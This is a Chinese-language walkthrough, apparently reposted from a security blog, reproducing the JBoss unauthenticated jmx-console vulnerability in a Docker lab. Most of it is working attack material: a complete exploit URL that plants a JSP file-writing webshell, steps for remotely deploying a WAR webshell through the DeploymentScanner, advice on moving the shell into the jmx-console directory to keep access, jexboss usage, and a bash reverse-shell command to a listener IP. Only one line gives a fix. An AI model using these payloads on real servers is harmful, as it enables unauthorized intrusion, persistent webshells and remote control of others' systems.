Jboss未授權訪問漏洞復現


0x00 前言

漏洞原因:在低版本中,默認可以訪問Jboss web控制台(http://127.0.0.1:8080/jmx-console),無需用戶名和密碼。

0x01 環境

使用docker搭建漏洞環境

sudo docker search testjboss

搜索漏洞環境

sudo docker pull testjboss/jboss

拉取鏡像

sudo docker images

查看現有的docker環境

sudo docker run -p 80:8080 -d testjboss/jboss

運行環境,訪問http://ip即可

 0x02 復現

方法一:

http://ip/jmx-console  直接訪問jboss控制台

寫入一句話木馬:

http://ip/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True

url中的參數:arg0代表war包的名稱,arg1=文件名稱,arg2=文件后綴名,arg3=文件內容

將arg3的值取出來並url解碼:

<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>

功能是寫入文件,f=文件名,t=文件內容

寫入1.txt文件

http://ip/August/shell.jsp?f=1.txt&t=hello world!

訪問1.txt文件

http://ip/August/1.txt

方法二:

首先制作一個war木馬(需要jdk),在jsp小馬目錄下cmd執行:

jar cvf shell.war ma.jsp

若報拒絕訪問錯誤,請使用管理員權限運行cmd

將war包放在自己的服務器上

Jboxx4.x /jmx-console/ 后台存在未授權訪問,進入后台后,可直接部署 war 包Getshell。若需登錄,可以嘗試爆破弱口令登錄。

然后找到jboss.deployment(jboss 自帶的部署功能)中的flavor=URL,type=DeploymentScanner點進去(通過 url 的方式遠程部署)

 

 也可以直接輸入URL進入:

http://xx.xx.xx.xx:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment:type=DeploymentScanner,flavor=URL

找到頁面中的void addURL()選項來遠程加載war包來部署。

 

 查看部署是否成功
返回到剛進入jmx-console的頁面,找到 jboss.web.deployment,如下說明部署成功。如果沒顯示,多刷新幾次頁面或者等會兒,直到看到有部署的war包即可

 訪問我們的木馬

 500了,不知道為啥

通常像上面這樣部署的webshell,物理路徑默認都會在以下目錄下
\jboss-4.2.3.GA\server\default\tmp\deploy\xxx.war
而這個目錄最多用作臨時維持下權限,所以可以把shell傳到jmx-console的默認目錄來鞏固權限
\jboss-4.2.3.GA\server\default\deploy\jmx-console.war

 0x03 檢測工具

檢測工具:jexboss,一個使用Python編寫的Jboss漏洞檢測利用工具,通過它可以檢測並利用web-console,jmx-console,JMXInvokerServlet這三個漏洞,並且可以獲得一個shell。

https://github.com/joaomatosf/jexboss

使用:

python2 jexboss.py -u http://ip:port

 

 反彈shell到win10機器,win10機器關閉防火牆,nc監聽

bash -i >& /dev/tcp/192.168.255.1/7777 0>&1

 

 

 0x04 修復建議

修復建議:關閉jmx-console和web-console,提高安全性。

參考文章:

https://mp.weixin.qq.com/s/nLH58xnHwDkrmvYCdne03Q

http://www.manongjc.com/detail/14-tjkcvyvhmnupndv.html

https://mp.weixin.qq.com/s/riZuY-gYRsI5IwEYoLMKIA


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM